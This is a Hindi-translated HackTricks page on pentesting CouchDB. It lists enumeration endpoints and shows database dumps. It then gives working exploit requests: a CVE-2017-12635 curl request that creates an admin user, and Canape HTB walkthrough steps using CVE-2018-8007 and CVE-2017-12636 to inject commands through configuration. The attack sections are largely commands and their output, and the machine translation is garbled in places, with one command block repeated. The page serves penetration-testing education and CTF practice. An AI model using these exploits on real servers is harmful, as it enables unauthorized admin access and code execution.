hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

33 KiB

5984,6984 - काउचडीबी का पेंटेस्टिंग

☁️ हैकट्रिक्स क्लाउड ☁️ -🐦 ट्विटर 🐦 - 🎙️ ट्विच 🎙️ - 🎥 यूट्यूब 🎥

मूलभूत जानकारी

काउचडीबी एक दस्तावेज़-विषयक डेटाबेस है और प्रत्येक दस्तावेज़ में फ़ील्ड को कुंजी-मान मानचित्र के रूप में संग्रहीत किया जाता है। फ़ील्ड सादा कुंजी/मान जोड़ी, सूची या मानचित्र हो सकते हैं।

डेटाबेस में संग्रहीत हर दस्तावेज़ को एक दस्तावेज़-स्तरीय अद्वितीय पहचानकर्ता (_id) और प्रत्येक परिवर्तन के लिए एक संशोधन (_rev) संख्या दी जाती है जो डेटाबेस में किए गए और सहेजे गए हैं।

डिफ़ॉल्ट पोर्ट: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

स्वचालित गणना

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

बैनर

curl http://IP:5984/

यह एक GET अनुरोध जारी करता है इंस्टॉल किए गए CouchDB इंस्टेंस के लिए। जवाब कुछ इस तरह दिखना चाहिए:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} ध्यान दें कि यदि आप couchdb के रूट तक पहुंचते हैं तो आपको 401 Unauthorized प्राप्त होगा जिसमें इस तरह कुछ होगा: {"error":"unauthorized","reason":"Authentication required."} आप बैनर या किसी अन्य एंडपॉइंट तक पहुंच नहीं पाएंगे। {% endhint %}

जानकारी एनुमरेशन

ये एंडपॉइंट्स हैं जहां आप एक GET अनुरोध के साथ पहुंच सकते हैं और कुछ दिलचस्प जानकारी निकाल सकते हैं। आप काउचडीबी दस्तावेज़ीकरण में अधिक एंडपॉइंट्स और अधिक विस्तृत विवरण पा सकते हैं

  • /_active_tasks चल रहे कार्यों की सूची, जिसमें कार्य का प्रकार, नाम, स्थिति और प्रक्रिया आईडी शामिल होती है।
  • **/_all_dbs**काउचडीबी इंस्टेंस में सभी डेटाबेस की सूची लौटाता है।
  • **/_cluster_setup**नोड या क्लस्टर की स्थिति लौटाता है, क्लस्टर सेटअप विज़ार्ड के अनुसार।
  • /_db_updates काउचडीबी इंस्टेंस में सभी डेटाबेस इवेंट्स की सूची लौटाता है। इस एंडपॉइंट का उपयोग करने के लिए _global_changes डेटाबेस की मौजूदगी आवश्यक है।
  • /_membership cluster_nodes के रूप में क्लस्टर का हिस्सा होने वाले नोड्स को प्रदर्शित करता है। all_nodes फ़ील्ड में इस नोड के बारे में जानकारी प्रदर्शित करता है, जिसमें क्लस्टर का हिस्सा होने वाले नोड्स भी शामिल हैं।
  • /_scheduler/jobs रिप्लिकेशन जॉब्स की सूची। प्रत्येक जॉब विवरण में स्रोत और लक्ष्य जानकारी, रिप्लिकेशन आईडी, हाल के घटना का इतिहास और कुछ अन्य चीजें शामिल होंगी।
  • /_scheduler/docs रिप्लिकेशन डॉक्यूमेंट स्थिति की सूची। completed और failed स्थितियों में भी सभी दस्तावेज़ों के बारे में जानकारी शामिल होती है। प्रत्येक दस्तावेज़ के लिए यह दस्तावेज़ आईडी, डेटाबेस, रिप्लिकेशन आईडी, स्रोत और लक्ष्य, और अन्य जानकारी लौटाता है।
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} /_node/{node-name} एंडपॉइंट का उपयोग यह सत्यापित करने के लिए किया जा सकता है कि अनुरोध को प्रसंस्करण करने वाला सर्वर का ईरलैंग नोड नाम क्या है। यह सबसे उपयोगी होता है जब /_node/_local तक पहुंचने के लिए इस जानकारी को प्राप्त किया जाता है।
  • /_node/{node-name}/_stats _stats संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए आँकड़े शामिल होते हैं। स्थानीय नोड नाम के लिए शब्दमाला स्ट्रिंग _local एक उपनाम के रूप में कार्य करती है, इसलिए सभी आँकड़े URL के लिए, {node-name} को _local से बदला जा सकता है, स्थानीय नोड के आँकड़ों के साथ संवाद करने के लिए।
  • /_node/{node-name}/_system _system संसाधन एक JSON ऑब्जेक्ट लौटाता है जिसमें चल रहे सर्वर के लिए विभिन्न स्तर के आँकड़े शामिल होते हैं। वर्तमान नोड जानकारी प्राप्त करने के लिए आप ___local का उपयोग कर सकते हैं।
  • /_node/{node-name}/_restart
  • /_up सत्यापित करता है कि सर्वर चालू है, चल रहा है, और अनुरोधों का जवाब देने के लिए तैयार है। यदि maintenance_mode true या nolb है, तो एंडपॉइंट 404 प्रतिसाद लौटाएगा।
  • **/_uuids**काउचडीबी इंस्टेंस से एक या अधिक यूनिवर्सली यूनिक आईडेंटिफ़ायर (UUIDs) का अनुरोध करता है।
  • **/_reshard**क्लस्टर पर पूर्ण, विफल, चल रहे, रोके गए और कुल जॉब्स की संख्या के साथ रेशार्डिंग की स्थिति लौटाता है।

यहां और दिलचस्प जानकारी निकाली जा सकती है जैसा कि यहां समझाया गया है: https://lzone.de/cheat-sheet/CouchDB

डेटाबेस सूची

curl -X GET http://IP:5984/_all_dbs

यदि उस अनुरोध का 401 अनधिकृत प्रतिक्रिया देता है, तो आपको डेटाबेस तक पहुंच के लिए कुछ मान्य प्रमाणीकरण की आवश्यकता होगी:

curl -X GET http://user:password@IP:5984/_all_dbs

वैध क्रेडेंशियल्स ढूंढ़ने के लिए आप सेवा को ब्रूटफोर्स करने की कोशिश कर सकते हैं

यह एक couchdb प्रतिक्रिया का उदाहरण है जब आपके पास पर्याप्त अधिकार होते हैं ताकि आप डेटाबेस की सूची बना सकें (यह केवल डेटाबेस की एक सूची है):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

डेटाबेस जानकारी

आप डेटाबेस नाम का उपयोग करके कुछ डेटाबेस जानकारी (जैसे फ़ाइलों की संख्या और आकार) प्राप्त कर सकते हैं:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

दस्तावेज़ सूची

एक डेटाबेस के भीतर प्रत्येक प्रविष्टि की सूची बनाएँ

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

दस्तावेज़ पढ़ें

डेटाबेस के अंदर एक दस्तावेज़ की सामग्री पढ़ें:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB विशेषाधिकार उन्नयन CVE-2017-12635

Erlang और JavaScript JSON पार्सरों के बीच अंतर के कारण आप निम्नलिखित अनुरोध के साथ क्रेडेंशियल hacktricks:hacktricks के साथ एक व्यवस्थापक उपयोगकर्ता बना सकते हैं:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

इस vuln के बारे में अधिक जानकारी यहाँ.

CouchDB RCE

Erlang कुकी

CouchDB दस्तावेज़ों में, क्लस्टर सेटअप खंड में, यह CouchDB द्वारा उपयोग किए जाने वाले विभिन्न पोर्टों के बारे में बात करता है:

क्लस्टर मोड में CouchDB स्थानीय, स्थानीय API के लिए 5986 का उपयोग करता है, जैसा कि स्थानिक होने के लिए 5984 पोर्ट का उपयोग करता है।

Erlang अन्य नोड्स को खोजने के लिए TCP पोर्ट 4369 (EPMD) का उपयोग करता है, इसलिए सभी सर्वरों को इस पोर्ट पर एक दूसरे से बात करने की क्षमता होनी चाहिए। Erlang क्लस्टर में, सभी नोड्स सभी अन्य नोड्स से जुड़े होते हैं। एक जाल।

और फिर यहाँ एक दिलचस्प चेतावनी है:

1536931232858

यदि हम प्रक्रिया सूची में देखें, तो हम देख सकते हैं कि कुकी, "monster":

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

आप इस खंड को पढ़कर Erlangs कुकी का दुरुपयोग करके RCE प्राप्त करने के बारे में सीख सकते हैं। इसके अलावा, आप कुछ Canape HTB मशीन व्रिटअप भी पढ़ सकते हैं जैसे यह एक जहां आप इस दुरुपयोग का उपयोग करके देख सकते हैं और अभ्यास कर सकते हैं कि इस दुरुपयोग का उपयोग कैसे करें।

लोकल.ini लेखन अनुमतियों के साथ सफल CVE-2018-8007

इस पोस्ट को लिखते समय, मुझे पता चला कि mdsec से CouchDB के लिए एक नया CVE जारी किया गया था, CVE-2018-8007। इसमें भी local.ini फ़ाइल में लेखन की आवश्यकता होती है, इसलिए यह Canape के लिए उपयोगी विकल्प नहीं है। लेकिन क्योंकि मैंने पहले से ही इसे रूट के रूप में लिखने के लिए उपयोगी बना दिया है, चलो देखते हैं कि क्या हम इसे काम में ला सकते हैं।

साफ़ और अब लिखने योग्य local.ini के साथ शुरू करें (और बैकअप):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

हम local.ini फ़ाइल में मूल स्रोतों को संशोधित करने के लिए curl का उपयोग कर सकते हैं। यहां संकटग्रस्तता यह है कि यदि हम curl का उपयोग करके एक नया मूल स्रोत और फिर नई पंक्तियों को डालते हैं, तो हम अतिरिक्त सामग्री, सहित एक नया हैडर और विवरण लिख सकते हैं। इसलिए हम [os_daemons] क्षेत्र का लाभ उठाएंगे, और CouchDB के लिए एक प्रक्रिया जोर देने का प्रयास करेंगे:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

मूल शैल में, हम देख सकते हैं कि क्या परिवर्तन होते हैं:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

और फिर भी, फ़ाइल वहां नहीं है:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

यदि हम "couchdb" के साथ चल रहे प्रक्रियाओं की ओर देखें, तो हमें पहले से उपयोग किए गए कुकी मान को हमें देने वाली कमांड लाइन ही नहीं मिलती है, बल्कि runsrv couchdb भी मिलता है:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

अगर हम उस प्रक्रिया को मार देते हैं, तो वह फिर से वापस आती है (नया पिडी का ध्यान दें):

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

और, पुनरारंभ पर, ओएस_डेमन्स चलाता है:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

CVE-2017-12636 के माध्यम से सफल प्रयास स्थानीय.आईएनआई लेखन अनुमतियों के माध्यम से

CVE-2017-12636 काउचडीबी प्रक्रिया के माध्यम से कोड निष्पादन की अनुमति देता है। हालांकि, यह विन्यास में काम नहीं करेगा।

कुछ POCs उपलब्ध हैं जो संदर्भ के लिए हैं:

हमें एक नया query_server लिखने की आवश्यकता होगी, और फिर उसे आह्वान करें। कैनपी जारी किए जाने पर, अधिकांश POCs काउचडीबी 1.X के लिए थे, लेकिन यह बॉक्स 2 चला रहा है, इसलिए अधिकांश POCs का query_servers पथ मौजूद नहीं है। यह अब बदल चुका है, लेकिन हम वही कदम चलेंगे। पहले, संस्करण प्राप्त करें, और दिखाएं कि 1.X पथ मौजूद नहीं है:

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

नए पथ के साथ अपडेट करें 2.0 के लिए:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

वहां से, हमें एक query_server जोड़ना चाहिए और फिर इसे आह्वान करना चाहिए, लेकिन हम इसे करने में सक्षम नहीं हैं।

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

कुछ गूगलिंग दिखाती है कि यह अनुमतियों की समस्या है। वास्तव में, अगर हम अपने रूट शैल में जांच करें, तो हम देख सकते हैं कि local.ini फ़ाइल किसी को लिखने के योग्य नहीं है, और विशेष रूप से www-data: के बारे में नहीं।

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

तो यह कैनेप के लिए एक बंद मार्ग है। लेकिन यदि हम इसे काम करने की कोशिश करना चाहते हैं, तो हम इसे हमारे रूट या होमर एक्सेस के साथ पठनीय बना सकते हैं और इस मार्ग पर आगे बढ़ सकते हैं। हम मूल का बैकअप बनाएंगे ताकि हम देख सकें कि क्या परिवर्तन हुए हैं:

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

अब, हमारे www-data शैल में वापस आते हैं:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

हम cmd क्वेरी सर्वर के लिए पिछले मान को वापस प्राप्त करते हैं, जो सफलता का संकेत है। और रूट शैल में, हम देख सकते हैं कि यह काम कर गया है:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

अब, हमें एक डीबी बनाने और फिर उस डीबी में एक दस्तावेज़ बनाने की क्षमता होनी चाहिए, और उसे एक व्यू के साथ अनुरोध करना चाहिए जो हमारे query_server को मानचित्रित करता है ताकि क्रियान्वयन हो सके।

डीबी और दस्तावेज़ बनाएँ:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

एक व्यू में यह अनुरोध करें:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

सारांश एक अलग payload के साथ

Shodan

  • port:5984 couchdb

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥